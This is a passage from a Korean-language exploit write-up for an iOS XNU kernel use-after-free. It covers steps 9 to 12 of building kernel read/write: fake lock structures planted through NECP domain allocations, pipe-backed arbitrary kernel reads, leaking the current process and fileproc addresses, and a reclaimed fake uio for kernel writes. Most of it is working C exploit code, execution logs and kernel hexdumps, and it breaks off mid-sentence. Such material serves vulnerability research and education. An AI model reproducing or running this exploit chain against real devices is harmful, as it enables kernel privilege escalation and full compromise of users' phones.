9. socket0을 제어하여 fake lockf C의 lf_next를 secondary readpipe 버퍼 주소와 연결

secondary pipe backing(secondary read pipe’s pipe_buffer.buffer) 값을 획득했다면, socket0을 제어하여 해당 값을 포함하고, lf_start=200, lf_end=204인 fake lockf C를 다시 만든다.


/* Make dangling socket0 lock C=[200,204] point at the pipe backing. */
int install_socket0_pipe_link(int socket0, uint64_t secondary_pipe_backing)
{
    uint64_t payload[NECP_DOMAIN_PAYLOAD_SIZE / sizeof(uint64_t)] = {0};

    payload[1] = 200;
    payload[2] = 204;
    payload[6] = secondary_pipe_backing;

    if (clear_necp_domain(socket0) != 0) {
        return -1;
    }

    return allocate_necp_domain(socket0, (const uint8_t *)payload);
}

...
if (install_socket0_pipe_link(
            socket_fd[0], secondary_pipe_backing_kptr) != 0) {
        printf("[-] failed to link socket0 to pipe backing: %s(%d)\n",
            strerror(errno), errno);
        return -1;
    }

실행 결과, 사진으로는 다음과 같이 구성된다.

fake lockf C의 lf_next는 이제 secondary readpipe의 pipe_buffer.buffer를 가리킨다.

Drawing 2026-07-30 12.55.05.excalidraw 1 1 1 1 1-fs8.png

10. 파이프 데이터를 제어하여 안정적인 커널 읽기(kernel_read_pointer_via_pipe_backing)를 수행하면서 selfproc과 fileproc 찾기

다음으로, find_current_proc_and_control_fileproc 에서 수행되는 fileproc과 selfproc 주소를 찾는 과정을 자세히 살펴보겠다.

    // 8. 현재 proc와 control fileproc 찾기
    uint64_t current_proc_kptr = 0;
    uint64_t control_fileproc_kptr = 0;

    if (find_current_proc_and_control_fileproc(
            urandom_fd,
            pipe_fd_2,
            socket_fd[2],
            &current_proc_kptr,
            &control_fileproc_kptr) != 0) {
        printf("[-] failed to find current proc/control fileproc: %s(%d)\n",
            strerror(errno), errno);
        return -1;
    }

fake lockf C의 lf_next 에는 secondary readpipe 버퍼를 가리키며, 이와 동시에 readpipe 버퍼는 fake lockf가 된다. 해당 fake lockf는 lf_start=300, lf_end=304로 지정해주도록 pipe write한다.

int find_current_proc_and_control_fileproc(
    int lock_fd,
    const int pipe_fds[2],
    int control_fd,
    uint64_t *current_proc_out,
    uint64_t *control_fileproc_out)
{
    uint64_t insertion_payload[NECP_DOMAIN_PAYLOAD_SIZE / sizeof(uint64_t)] = {0};
    uint8_t saved_payload[NECP_DOMAIN_PAYLOAD_SIZE];
    uint8_t cleaned_payload[NECP_DOMAIN_PAYLOAD_SIZE];
    uint64_t inserted_lock = 0;
    uint64_t current_proc = 0;
    uint64_t filedesc = 0;
    uint64_t fd_ofiles = 0;
    uint64_t control_fileproc = 0;
    int discovery_errno = 0;

    if (pipe_fds == NULL || control_fd < 0 ||
        current_proc_out == NULL || control_fileproc_out == NULL) {
        errno = EINVAL;
        return -1;
    }

    insertion_payload[1] = 300;
    insertion_payload[2] = 304;

    /* Leave fake [300,304] queued while F_SETLK appends the real lock. */
    if (write_exact_fd(pipe_fds[1], insertion_payload, sizeof(insertion_payload)) != 0 )
        return -1;
#if ENABLE_HELPER
    printf("[%s:%d] pipe write occurred\n", __FUNCTION__, __LINE__);
    getchar();
#endif

커널 덤프한 결과를 살펴보면 아래와 같다. 파이프버퍼로 만들어진 lockf를 “fake lockf E”로 명명하겠다.

보다시피 fake lockf E에는 lf_start=300, lf_end=304로 지정되있다.

Drawing 2026-07-30 12.55.05.excalidraw 1 1 1 1 1 1-fs8.png

다음으로, fake lockf E의 lf_next를 가리키는 lockf를 하나 더 생성한다.

#define PIPE_DISCOVERY_LOCK_START       ((off_t)400)
#define PIPE_DISCOVERY_LOCK_LENGTH      ((off_t)1)

    if (set_posix_lock(lock_fd, F_RDLCK, PIPE_DISCOVERY_LOCK_START, PIPE_DISCOVERY_LOCK_LENGTH) != 0)
        return -1;
#if ENABLE_HELPER
    printf("[%s:%d] set_posix_lock occurred\n", __FUNCTION__, __LINE__);
    getchar();
#endif

커널 덤프 결과, fake lockf E의 lf_next에는 새로 생성된 lockf를 가리킨다.

lf_start=400, lf_end=400이며 “lockf F”로 명명하겠다.

Drawing 2026-07-30 12.55.05.excalidraw 1 1 1 1 1 1 1-fs8.png

그리고 fake lockf C에서 +0x30 오프셋에 적힌 lf_next 포인터 주소인 “lockf F” 주소를 leak시킨다…

leak시킨 값은 insert_lock에 지정하고, 거기다 +0x18(XNU7195_LOCKF_ID_OFFSET)을 더한 주소값을 kernel_read_pointer_via_pipe_backing으로 다시 읽는다.

#define XNU7195_LOCKF_ID_OFFSET         0x18ULL
...
    if (read_exact_fd(pipe_fds[0], saved_payload, sizeof(saved_payload)) != 0)
        return -1;
#if ENABLE_HELPER
    printf("[%s:%d] pipe read occurred\n", __FUNCTION__, __LINE__);
    getchar();
#endif

    memcpy(&inserted_lock, saved_payload + 0x30, sizeof(inserted_lock));
    if (!looks_like_kernel_pointer(inserted_lock)) {
        discovery_errno = EFAULT;
    } else if (kernel_read_pointer_via_pipe_backing(
            lock_fd,
            pipe_fds,
            inserted_lock + XNU7195_LOCKF_ID_OFFSET,
            &current_proc) != 0) {
        discovery_errno = errno;
    } else if (!looks_like_kernel_pointer(current_proc)) {
        discovery_errno = EFAULT;
    }

kernel_read_pointer_via_pipe_backingkernel_read32_via_pipe_backing 함수로부터 읽어들인 32비트 상위/하위값을 조합하여 온전한 64비트 값으로 만든다.

int kernel_read_pointer_via_pipe_backing(int lock_fd, const int pipe_fds[2], uint64_t read_address, uint64_t *value_out)
{
    uint32_t low = 0;
    uint32_t high = 0;
    uint64_t value;

    if (value_out == NULL) {
        errno = EINVAL;
        return -1;
    }

    if (kernel_read32_via_pipe_backing(lock_fd, pipe_fds, read_address, &low) != 0
        || kernel_read32_via_pipe_backing(lock_fd, pipe_fds, read_address + 4, &high) != 0) {
        return -1;
    }

    value = low | ((uint64_t)high << 32);
    *value_out = normalize_a12_xnu7195_pointer(value);
    return 0;
}

kernel_read32_via_pipe_backing 에서 수행되는 과정은 kernel_read_pointer_via_socket 와 크게 다르지 않으며 비슷하다. socket을 통한 커널 읽기는 할당해제 후 다시 똑같은 할당해제되었던 주소로 할당받아야 정확히 작동되는 리스크가 있는 반면, 파이프는 그런거 상관없이 항상 같은 곳에 있는 파이프 버퍼를 제어하기에 더 안정적이다.

make_pipe_lockf_payload 를 통해 secondary readpipe가 제어되며, fake lockf E의 lf_start는 0x3333333333333333, lf_end는 0x4444444444444444로 지정된다. 그리고 읽힐 주소 타겟을 지정하기 위해 fake ockf E의 lf_owner (+0x58 오프셋) 필드에 임의 커널 주소가 써질 것이다.

이후 ofd_get_lock 으로 fake lockf E에 적힌 lf_owner 값을 참조하여 특정 커널 주소로부터 값을 읽힌다.

#define PIPE_LOCK_PROBE_QUERY_START     ((off_t)0x3333333333333333ULL)
#define LOCK_PROBE_QUERY_LENGTH         ((off_t)5)

void make_pipe_lockf_payload(
    uint8_t payload[NECP_DOMAIN_PAYLOAD_SIZE],
    uint64_t read_address)
{
    const uint64_t marker = 0x2222222222221111ULL;
    const uint64_t fake_proc = read_address - XNU7195_PROC_PID_OFFSET;

    memset(payload, 0, NECP_DOMAIN_PAYLOAD_SIZE);
    memcpy(payload + 0x00, &marker, sizeof(marker));
    memcpy(payload + 0x08, "33333333DDDDDDDDUUUUUUUUffffffffwwwwwwww", 40);

    /* The pipe backing is the fake lock base, so lf_owner is directly +0x58. */
    memcpy(payload + 0x58, &fake_proc, sizeof(fake_proc));
}

int ofd_get_lock(int fd, off_t start, off_t length, struct flock *lock_request)
{    
    *lock_request = (struct flock) {
        .l_start = start,
        .l_len = length,
        .l_pid = 0,
        .l_type = F_WRLCK,
        .l_whence = SEEK_SET,
    };

    return fcntl(fd, F_OFD_GETLK, lock_request);
}

/*
 * After socket0->lf_next is redirected to the pipe backing, reads must use
 * this direct fake lock instead of the now-disconnected socket1 fake lock.
 */
int kernel_read32_via_pipe_backing(int lock_fd, const int pipe_fds[2], uint64_t read_address, uint32_t *value_out)
{
    uint8_t payload[NECP_DOMAIN_PAYLOAD_SIZE];
    struct flock fl;

    if (pipe_fds == NULL || value_out == NULL ||
        read_address < XNU7195_PROC_PID_OFFSET) {
        errno = EINVAL;
        return -1;
    }

    make_pipe_lockf_payload(payload, read_address);

    /* Drain the pipe; the bytes intentionally remain stale in its backing. */
    if (write_exact_fd(pipe_fds[1], payload, sizeof(payload)) != 0 ||
        read_exact_fd(pipe_fds[0], payload, sizeof(payload)) != 0) {
        return -1;
    }

    if (ofd_get_lock(lock_fd, PIPE_LOCK_PROBE_QUERY_START, LOCK_PROBE_QUERY_LENGTH, &fl) != 0) {
        return -1;
    }

    if (fl.l_type == F_UNLCK) {
        errno = ENOENT;
        return -1;
    }

    *value_out = (uint32_t)fl.l_pid;
    return 0;
}

커널 덤프해보면, 실제로 파이프에 의해 제어되면서 fake lockf E에 lf_start, lf_end, 그리고 lf_owner 등에 임의로 지정된 여러 값들이 써져있다.

해당 사진에서는, lf_owner에 0xffffffe4cdaa3c70 값이 써져있으며, ofd_get_lock 이 수행되면서 실제로는 +0x68값이 더해진 0xffffffe4cdaa3cd8 주소로부터 값을 읽으려고 시도할 것이다.

Drawing 2026-07-30 12.55.05.excalidraw 1 1 1 1 1 1 1 1-fs8.png

따라서 “lockf F”의 lf_id 필드값, 0xffffffe19f7314f0이 leak된다고 볼 수 있다.

iPhone-8--1442:~ root# khexdump 0xffffffe4cdaa3cc0
tfp0: 0x1303
get_kbase ret: 0, kbase: 0xfffffff018578000
0xffffffe4cdaa3cc0: 0x0000000000010040 0x0000000000000190
0xffffffe4cdaa3cd0: 0x0000000000000190 0xffffffe19f7314f0 <- READ PONTER IS HERE!!!
0xffffffe4cdaa3ce0: 0xffffffe19ce8ffc0 0xffffffe19ce8fef8
0xffffffe4cdaa3cf0: 0x0000000000000000 0x0000000000000000
0xffffffe4cdaa3d00: 0xffffffe4cdaa3cf8 0x0000000000000000
0xffffffe4cdaa3d10: 0x0000000000000000 0xffffffe19f7314f0
0xffffffe4cdaa3d20: 0x0000000000000000 0x0000000000000000
(lldb) p/x offsetof(lockf, lf_id)
(unsigned long) 0x0000000000000018

그렇다면 lf_id는 실제로 무슨 값일까?, lf_advlock 에서 거슬러 올라가 VNOP_ADVLOCK, sys_fcntl_nocancel

sys_fcntl_nocancel 에서 VNOP_ADVLOCK을 호출할때 두번째 인자에 p, 즉 selfproc 포인터 주소가 들어가는 것을 볼 수 있다. F_OFD_SETLK이 아니라 F_SETLK[lf_start=400, lf_end=400] lock을 만들었기 때문에 그렇다.

// xnu-7195.50.7.100.1/bsd/kern/kern_descrip.c:974
int
sys_fcntl_nocancel(proc_t p, struct fcntl_nocancel_args *uap, int32_t *retval)
{
  //...
  // xnu-7195.50.7.100.1/bsd/kern/kern_descrip.c:1230
  case F_SETLK:
  case F_OFD_SETLK:
    // ...
    // xnu-7195.50.7.100.1/bsd/kern/kern_descrip.c:1280
    switch (uap->cmd) {
    case F_OFD_SETLK:
    case F_OFD_SETLKW:
    case F_OFD_SETLKWTIMEOUT:
      // xnu-7195.50.7.100.1/bsd/kern/kern_descrip.c:1284
      // ...
      break;
    // xnu-7195.50.7.100.1/bsd/kern/kern_descrip.c:1326
    default:
      flg |= F_POSIX;
      switch (fl.l_type) {
      case F_RDLCK:
        if ((fflag & FREAD) == 0) {
          error = EBADF;
          break;
        }
        // XXX UInt32 unsafe for LP64 kernel
        os_atomic_or(&p->p_ladvflag, P_LADVLOCK, relaxed);
        error = VNOP_ADVLOCK(vp, (caddr_t)p,
            F_SETLK, &fl, flg, &context, timeout);
        break;
  //...
}

// xnu-7195.50.7.100.1/bsd/vfs/kpi_vfs.c:5409
errno_t
VNOP_ADVLOCK(struct vnode *vp, caddr_t id, int op, struct flock *fl, int flags, vfs_context_t ctx, struct timespec *timeout)
{
  // ...
  /* Disallow advisory locking on non-seekable vnodes */
  if (vnode_isfifo(vp)) {
    _err = err_advlock(&a);
  } else {
    if ((vp->v_flag & VLOCKLOCAL)) {
      /* Advisory locking done at this layer */
      _err = lf_advlock(&a);

// xnu-7195.50.7.100.1/bsd/kern/kern_lockf.c:190
int
lf_advlock(struct vnop_advlock_args *ap)
{
// ...
// xnu-7195.50.7.100.1/bsd/kern/kern_lockf.c:292
  lock->lf_start = start;
  lock->lf_end = end;
  lock->lf_id = ap->a_id;
// ...
}

이렇게 지금까지 selfproc을 찾아보았다.

그 다음으로는 파이프를 다시 한번 제어하여 원본 데이터로 복원후, set_posix_lock(lock_fd, F_UNLCK, …)을 호출하여 생성되었던 lockf F를 할당해제시킨다.

#define PIPE_DISCOVERY_LOCK_START       ((off_t)400)
#define PIPE_DISCOVERY_LOCK_LENGTH      ((off_t)1)

...
    /* Pipe reads overwrote fake->lf_next; restore it before POSIX F_UNLCK. */
    if (write_exact_fd(pipe_fds[1], saved_payload, sizeof(saved_payload)) != 0)
        return -1;
#if ENABLE_HELPER
    printf("[%s:%d] pipe write occurred\n", __FUNCTION__, __LINE__);
    // getchar();
#endif

    if (set_posix_lock(lock_fd, F_UNLCK, PIPE_DISCOVERY_LOCK_START, PIPE_DISCOVERY_LOCK_LENGTH) != 0)
        return -1;
#if ENABLE_HELPER
    printf("[%s:%d] set_posix_lock occurred\n", __FUNCTION__, __LINE__);
    // getchar();
#endif

    if (read_exact_fd(pipe_fds[0], cleaned_payload, sizeof(cleaned_payload)) != 0)
        return -1;
#if ENABLE_HELPER
    printf("[%s:%d] pipe read occurred\n", __FUNCTION__, __LINE__);
    // getchar();
#endif
...

보다시피 실행 결과, 커널 덤프 내용에서 lockf F는 커널 할당해제되어 데이터가 0으로 채워졌다.

Drawing 2026-07-30 12.55.05.excalidraw 1 1 1 1 1 1 1 2-fs8.png

이후로는 lockf F가 제대로 할당해제되었는지 0인지 체크하고, 획득한 selfproc에서 필드에 차례대로 접근하여 socket_fd[2]에 해당되는 fileproc 주소를 가져온다.

아래 코드와 비슷하게 접근하게 주소를 가져올 수 있다.

filedesc = kernel_read64(PROC + 0xf8); fd_ofiles = kernel_read64(filedesc); CFP = kernel_read64(fd_ofiles + control_fd * 8);

memcpy(&inserted_lock, cleaned_payload + 0x30, sizeof(inserted_lock));
    if (inserted_lock != 0) {
        errno = EFAULT;
        return -1;
    }

    if (discovery_errno != 0) {
        errno = discovery_errno;
        return -1;
    }

    if (kernel_read_pointer_via_pipe_backing(
            lock_fd,
            pipe_fds,
            current_proc + XNU7195_PROC_FD_OFFSET,
            &filedesc) != 0) {
        return -1;
    }
    if (!looks_like_kernel_pointer(filedesc)) {
        errno = EFAULT;
        return -1;
    }

    if (kernel_read_pointer_via_pipe_backing(
            lock_fd, pipe_fds, filedesc, &fd_ofiles) != 0) {
        return -1;
    }
    if (!looks_like_kernel_pointer(fd_ofiles)) {
        errno = EFAULT;
        return -1;
    }

    if (kernel_read_pointer_via_pipe_backing(
            lock_fd,
            pipe_fds,
            fd_ofiles + (uint64_t)control_fd * XNU7195_POINTER_SIZE,
            &control_fileproc) != 0) {
        return -1;
    }
    if (!looks_like_kernel_pointer(control_fileproc)) {
        errno = EFAULT;
        return -1;
    }

    *current_proc_out = current_proc;
    *control_fileproc_out = control_fileproc;
    return 0;
}

11. 파이프 버퍼에 fake kern_iovec 미리 심기

파이프에 의해 제어되는 fake lockf E에는 다음과 같이 데이터가 써진다.

+0x0: 이전에 구했던 fileproc에 +0x10을 더한 값 (+0x10은 fileproc의 fp_glob 오프셋)

(lldb) p/x offsetof(fileproc, fp_glob) (unsigned long) 0x0000000000000010

+0x8: 0x8 (XNU7195_POINTER_SIZE)

#define XNU7195_FILEPROC_GLOB_OFFSET    0x10ULL
#define XNU7195_POINTER_SIZE            8ULL

...

    // 9. PB에 fake kern_iovec 미리 심기
    if (prime_pipe_backing_kern_iovec(
            pipe_fd_2,
            control_fileproc_kptr + XNU7195_FILEPROC_GLOB_OFFSET) != 0) {
        printf("[-] failed to prime PB kern_iovec: %s(%d)\n",
            strerror(errno), errno);
        return -1;
    }
    
 ...
 
 /* Leave one kernel-space iovec in the empty secondary pipe backing. */
int prime_pipe_backing_kern_iovec(
    const int pipe_fds[2],
    uint64_t target)
{
    uint64_t kern_iovec[2] = {
        target,
        XNU7195_POINTER_SIZE,
    };

    return write_exact_fd(pipe_fds[1], kern_iovec, sizeof(kern_iovec)) != 0 ||
        read_exact_fd(pipe_fds[0], kern_iovec, sizeof(kern_iovec)) != 0
        ? -1 : 0;
}

커널 덤프 내용은 아래와 같다.

Drawing 2026-07-30 12.55.05.excalidraw 1 1 1 1 1 1 1 2 1-fs8.png

12. write64_with_fake_uio / 커널 R/W 구축

write64_with_fake_uio 함수를 부분적으로 살펴보자.

우선 socket0으로 제어되는 fake lockf C에서 lf_start=30, lf_end=34, 그리고 lf_idlock_fileglob으로 구성하게끔 만든다.

여기서 lock_fileglobfileglob_kptr 이며, 처음에 fileport_makeport(urandom_fd, &fileport_name); 코드에 의해 urandom_fd에 대한 파일 포트를 만들고 난 뒤에 leak시켰던 fileglob 포인터 커널 주소이다. 즉, urandom_fd의 fileglob이다.

/*
 * Reclaim the blocked writer's 0x58 uio with socket0, then reverse uiomove()
 * so the stale primary-pipe bytes are copied to the staged kern_iovec.
 */
int write64_with_fake_uio(
    int lock_fd,
    int socket0,
    const int primary_pipe_fds[2],
    void *primary_pipe_buffer,
    size_t primary_pipe_size,
    uint64_t lock_fileglob,
    uint64_t secondary_pipe_backing,
    uint64_t value)
{
    uint64_t fake_lock[NECP_DOMAIN_PAYLOAD_SIZE / sizeof(uint64_t)] = {0};
    //...
    struct fake_uio_writer_context context = {
        .lock_fd = lock_fd,
        .pipe_write_fd = primary_pipe_fds[1],
        .result_errno = 0,
    };
    pthread_t writer;
    uint64_t drained = 0;
    int pthread_status;

    if (primary_pipe_buffer == NULL || primary_pipe_size == 0x0) {
        errno = EINVAL;
        return -1;
    }

    /* Existing dangling lock C becomes [30,34] with the correct OFD id. */
    fake_lock[1] = 30;
    fake_lock[2] = 34;
    fake_lock[3] = lock_fileglob;
    if (clear_necp_domain(socket0) != 0 ||
        allocate_necp_domain(socket0, (const uint8_t *)fake_lock) != 0) {
        return -1;
    }
#if ENABLE_HELPER
    printf("[%s:%d] Existing dangling lock C becomes [30,34] with the correct OFD id ... \n", __FUNCTION__, __LINE__);
    getchar();
#endif

커널 덤프 결과:

Drawing 2026-07-30 12.55.05.excalidraw 1 1 1 1 1 1 1 2 1 1-fs8.png

primary pipe에 0x10000크기만큼 데이터를 쓰는데, 이때 첫 8바이트는 secondary pipe의 pipe_buffer.buffer 커널 주소가 들어간다.

    memset(primary_pipe_buffer, 0, primary_pipe_size);
    memcpy(primary_pipe_buffer, &value, sizeof(value));
    if (write_exact_fd(
            primary_pipe_fds[1],
            primary_pipe_buffer,
            primary_pipe_size) != 0) {
        return -1;
    }
#if ENABLE_HELPER
    printf("[%s:%d] write_exact_fd called ... \n", __FUNCTION__, __LINE__);
    uint64_t primary_pipe_pbuffer_kaddr = obtain_pipes_kaddr(primary_pipe_fds[0]);
    printf("[%s:%d] primary_pipe_pbuffer_kaddr = 0x%llX\n", __FUNCTION__, __LINE__, primary_pipe_pbuffer_kaddr);
    getchar();
#endif

실행 결과 / 커널 덤프 결과:

[RUNNING RESULT]
[STAGE3] i=31 name=0x5003 port=0xFFFFFFE19F828888 ikmq_base=0xFFFFFFE19F828888 receiver_name=0x9F828888 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E63E5F8
[i] Leaked readpipe_ipc_port kptr = 0xFFFFFFE19D066AA8
[STAGE 5] did allocated necp domain well?
[STAGE 5] domain_kaddr = 0xFFFFFFE4CDF525E0
[prepare_socket_lockf_pair:484] socket1_domain_kaddr = 0xFFFFFFE4CDF31680
[prepare_socket_lockf_pair:527] Free B ...
[0xffffffe4cdf525e0+0x000] 11 11 22 22 22 22 22 22  33 33 33 33 33 33 33 33  |  ..""""""33333333
[0xffffffe4cdf525e0+0x010] 44 44 44 44 44 44 44 44  55 55 55 55 55 55 55 55  |  DDDDDDDDUUUUUUUU
[0xffffffe4cdf525e0+0x020] 66 66 66 66 66 66 66 66  77 77 77 77 77 77 77 77  |  ffffffffwwwwwwww
[0xffffffe4cdf525e0+0x030] C0 E4 F7 CD E4 FF FF FF  00 00 00 00 00 00 00 00  |  ................
[0xffffffe4cdf525e0+0x040] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
[0xffffffe4cdf525e0+0x050] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
[prepare_socket_lockf_pair:535] allocated/wrote arbitrary data to B again, dangling C again ...
[i] socket1 DOMAIN kernel address = 0xFFFFFFE4CDF31680
[main:1560]
[i] read32(0xFFFFFFE19D066B10) = 0xA03C9380
[i] reconstructed readpipe fileglob kptr = 0xFFFFFFE1A03C9380
[main:1582]
[main:1583] first called kernel_read32_via_proc_pid ...
[i] secondary pipe object = 0xFFFFFFE19BFCBDF0
[i] secondary pipe backing = 0xFFFFFFE4CE280A00 <- !REMIND THIS VALUE!
[main:1637] install_socket0_pipe_link called ...
[find_current_proc_and_control_fileproc:796] pipe write occurred
[find_current_proc_and_control_fileproc:803] set_posix_lock occurred
[find_current_proc_and_control_fileproc:810] pipe read occurred
[kernel_read32_via_pipe_backing:724] called ...
[kernel_read32_via_pipe_backing:724] called ...
[find_current_proc_and_control_fileproc:831] pipe write occurred
[find_current_proc_and_control_fileproc:838] set_posix_lock occurred
[find_current_proc_and_control_fileproc:845] pipe read occurred
[kernel_read32_via_pipe_backing:724] called ...
[kernel_read32_via_pipe_backing:724] called ...
[kernel_read32_via_pipe_backing:724] called ...
[kernel_read32_via_pipe_backing:724] called ...
[kernel_read32_via_pipe_backing:724] called ...
[kernel_read32_via_pipe_backing:724] called ...
[i] current proc = 0xFFFFFFE19FB529E0
[i] control fd=5 fileproc = 0xFFFFFFE1A00A63E0
stage9 done
[write64_with_fake_uio:1052] Existing dangling lock C becomes [30,34] with the correct OFD id ...

[write64_with_fake_uio:1065] write_exact_fd called ...
[write64_with_fake_uio:1067] primary_pipe_pbuffer_kaddr = 0xFFFFFFE800728000
...

[KERNEL DUMP RESULT]
iPhone-8--1442:~ root# khexdump 0xFFFFFFE800728000
tfp0: 0x903
get_kbase ret: 0, kbase: 0xfffffff01d5b4000
0xffffffe800728000: 0xffffffe4ce280a00 <- !SECONDARY PIPE's pipe_buffer.buffer kaddr WRITTEN! 0x0000000000000000
0xffffffe800728010: 0x0000000000000000 0x0000000000000000
0xffffffe800728020: 0x0000000000000000 0x0000000000000000
0xffffffe800728030: 0x0000000000000000 0x0000000000000000
0xffffffe800728040: 0x0000000000000000 0x0000000000000000
0xffffffe800728050: 0x0000000000000000 0x0000000000000000
0xffffffe800728060: 0x0000000000000000 0x0000000000000000
0xffffffe800728070: 0x0000000000000000 0x0000000000000000
0xffffffe800728080: 0x0000000000000000 0x0000000000000000
0xffffffe800728090: 0x0000000000000000 0x0000000000000000
0xffffffe8007280a0: 0x0000000000000000 0x0000000000000000
0xffffffe8007280b0: 0x0000000000000000 0x0000000000000000
0xffffffe8007280c0: 0x0000000000000000 0x0000000000000000
0xffffffe8007280d0: 0x0000000000000000 0x0000000000000000
0xffffffe8007280e0: 0x0000000000000000 0x0000000000000000
0xffffffe8007280f0: 0x0000000000000000 0x0000000000000000
iPhone-8--1442:~ root# khexdump 0xffffffe4ce280a00
tfp0: 0x1303
get_kbase ret: 0, kbase: 0xfffffff01d5b4000
0xffffffe4ce280a00: 0xffffffe1a00a63f0 0x0000000000000008
0xffffffe4ce280a10: 0x4444444444444444 0x5555555555555555
0xffffffe4ce280a20: 0x6666666666666666 0x7777777777777777
0xffffffe4ce280a30: 0x0000000000000000 0x0000000000000000
0xffffffe4ce280a40: 0x0000000000000000 0x0000000000000000
0xffffffe4ce280a50: 0x0000000000000000 0xffffffe4cce572c4

pthread_create로 비동기로 fake_uio_writer_thread 를 호출한다.

ofd_set_lock(context->lock_fd, F_RDLCK, 29, 7) 코드가 실행되면서 “fake lockf C”는 할당해제된다. 이유는 새로 지정될 lockf의 범위가 lf_start=29, lf_end=35가 되고, “fake lockf C”의 lf_start=30, lf_end=34인데, 이를 비교해봤을때 새로 지정될 lockf의 범위가 “fake lockf C” 범위를 포함하고 있기 때문이다.

할당해제된 이후에는 (primary pipe_write_fd가 인자에 들어간) writev(context->pipe_write_fd, iovecs, 2) 코드가 실행되면서 방금 할당해제되었던 곳을 다시 차지하게 될 것이다. uio 구조체 크기는 0x38, kern_iovec 구조체 크기는 0x10…. 결과적으로 0x38+0x10*2=0x58이라는 전체 커널 할당 크기를 default.kalloc.96 존으로부터 할당받을 것이기 때문이며, 방금 해제된 socket0 DOMAIN 슬롯을 struct uio + iovec * 2가 재점유된다.

 struct fake_uio_writer_context {
    int lock_fd;
    int pipe_write_fd;
    _Atomic int entering_writev;
    int result_errno;
};

void *fake_uio_writer_thread(void *opaque)
{
    struct fake_uio_writer_context *context = opaque;
    uint64_t valid_source[2] = {0};
    struct iovec iovecs[2] = {
        { .iov_base = valid_source, .iov_len = sizeof(valid_source) },
        { .iov_base = NULL, .iov_len = 0 },
    };

    if (ofd_set_lock(context->lock_fd, F_RDLCK, 29, 7) != 0) {
        context->result_errno = errno != 0 ? errno : EIO;
        atomic_store_explicit(
            &context->entering_writev, -1, memory_order_release);
        return NULL;
    }

    /* Two iovecs make UIO_SIZEOF(2) == 0x58, allocated from the 0x60 slot. */
    atomic_store_explicit(
        &context->entering_writev, 1, memory_order_release);
    if (writev(context->pipe_write_fd, iovecs, 2) < 0) {
        context->result_errno = errno != 0 ? errno : EIO;
    }
    return NULL;
}

...
    struct fake_uio_writer_context context = {
        .lock_fd = lock_fd,
        .pipe_write_fd = primary_pipe_fds[1],
        .result_errno = 0,
    };
...
 
    atomic_init(&context.entering_writev, 0);
    pthread_status = pthread_create(&writer, NULL, fake_uio_writer_thread, &context);
    if (pthread_status != 0) {
        errno = pthread_status;
        return -1;
    }

writev 는 내부적으로 다음과 같이 커널 함수를 거치게 되있다.

writev()
 → writev_prwritev_uio()
 → uio_create(2)
 → kalloc(UIO_SIZEOF(2))

Drawing 2026-08-12 08.44.58.excalidraw-fs8.png

커널 덤프 결과는 아래와 같다.

여기서 새로 생성되는 lockf 객체는 “lockf G”라고 명명하겠다.

보다시피 할당해제된 “fake lockf C” 주소를 살펴보면 이제 uio + kern_iovec*2로 구성되있다. 아직 제어되었다고는 볼 수 없으며, fake가 아닌 real uio데이터로 보면 될 듯 싶다.

Drawing 2026-07-30 12.55.05.excalidraw 1 1 1 1 1 1 1 2 1 1 1-fs8.png

wait_for_fake_uio_writer 함수는 writer가 정상적인 uio를 커널에 할당한 뒤, 꽉 찬 파이프 때문에 그 uio를 계속 들고 잠든 순간을 기다리는 동기화 함수인 것으로 보인다. pthread_mach_thread_np(thread)로 pthread의 Mach thread port를 얻으며, entering_writev 상태를 반복 확인한다.

만약 상태가 1이면 thread_info(..., THREAD_BASIC_INFO, ...)로 writer의 실행 상태를 확인합하며, run_state == TH_STATE_WAITING이면 성공이다.

기다리는 동안 thread_switch(..., SWITCH_OPTION_DEPRESS, ...)로 CPU를 양보하여 writer가 먼저 진행하도록 한다.

너무 오래 기다리면 ETIMEDOUT을 반환하도록 만든다.

int wait_for_fake_uio_writer(
    pthread_t thread,
    const struct fake_uio_writer_context *context)
{
    thread_t mach_thread = pthread_mach_thread_np(thread);

    for (unsigned int attempt = 0; attempt < 1000000; attempt++) {
        int phase = atomic_load_explicit(
            &context->entering_writev, memory_order_acquire);

        if (phase < 0) {
            errno = context->result_errno;
            return -1;
        }
        if (phase > 0) {
            thread_basic_info_data_t info = {0};
            mach_msg_type_number_t count = THREAD_BASIC_INFO_COUNT;

            if (thread_info(
                    mach_thread,
                    THREAD_BASIC_INFO,
                    (thread_info_t)&info,
                    &count) != KERN_SUCCESS) {
                errno = EIO;
                return -1;
            }
            if (info.run_state == TH_STATE_WAITING) {
                return 0;
            }
        }
        (void)thread_switch(MACH_PORT_NULL, SWITCH_OPTION_DEPRESS, 0);
    }

    errno = ETIMEDOUT;
    return -1;
}

...
    if (wait_for_fake_uio_writer(writer, &context) != 0) {
        int saved_errno = errno;
        uint8_t ordinary_drain[16];

        /* No uio was freed yet; wake an ordinary blocked writer and join it. */
        (void)read_exact_fd(
            primary_pipe_fds[0], ordinary_drain, sizeof(ordinary_drain));
        (void)pthread_join(writer, NULL);
        errno = saved_errno;
        return -1;
    }

clear_necp_domain(socket0) 코드는 socket0으로 제어했던 fake lockf C를 할당해제하는데,

실제로는, 방금 해제된 socket0 DOMAIN 슬롯을 struct uio + iovec * 2가 재점유한 곳을 다시 할당해제하는 것으로 보면 된다.

할당해제한 곳을 necp domain으로 재할당하여 fake_uio 데이터로 덮어씌운다.

    uint64_t fake_uio[NECP_DOMAIN_PAYLOAD_SIZE / sizeof(uint64_t)] = {
        secondary_pipe_backing,       /* uio_iovs.kiovp */
        1,                            /* uio_iovcnt */
        0,                            /* uio_offset */
        2,                            /* UIO_SYSSPACE | UIO_READ<<32 */
        XNU7195_POINTER_SIZE,         /* uio_resid_64 */
        0x0000000100000058ULL,        /* size=0x58, max_iovs=1 */
        1,                            /* INITED; deliberately not WE_ALLOCED */
    };
    
...

#if ENABLE_HELPER
    printf("[%s:%d] wait_for_fake_uio_writer passed ... \n", __FUNCTION__, __LINE__);
    getchar();
#endif

    /* socket0 still owns the now-live uio allocation: free and reclaim it. */
    if (clear_necp_domain(socket0) != 0)
        return -1;
    
    if (allocate_necp_domain(socket0, (const uint8_t *)fake_uio) != 0)
        return -1;

#if ENABLE_HELPER
    printf("[%s:%d] clear_necp_domain / allocate_necp_domain called ... \n", __FUNCTION__, __LINE__);
    getchar();
#endif

커널 덤프 사진을 살펴보면,

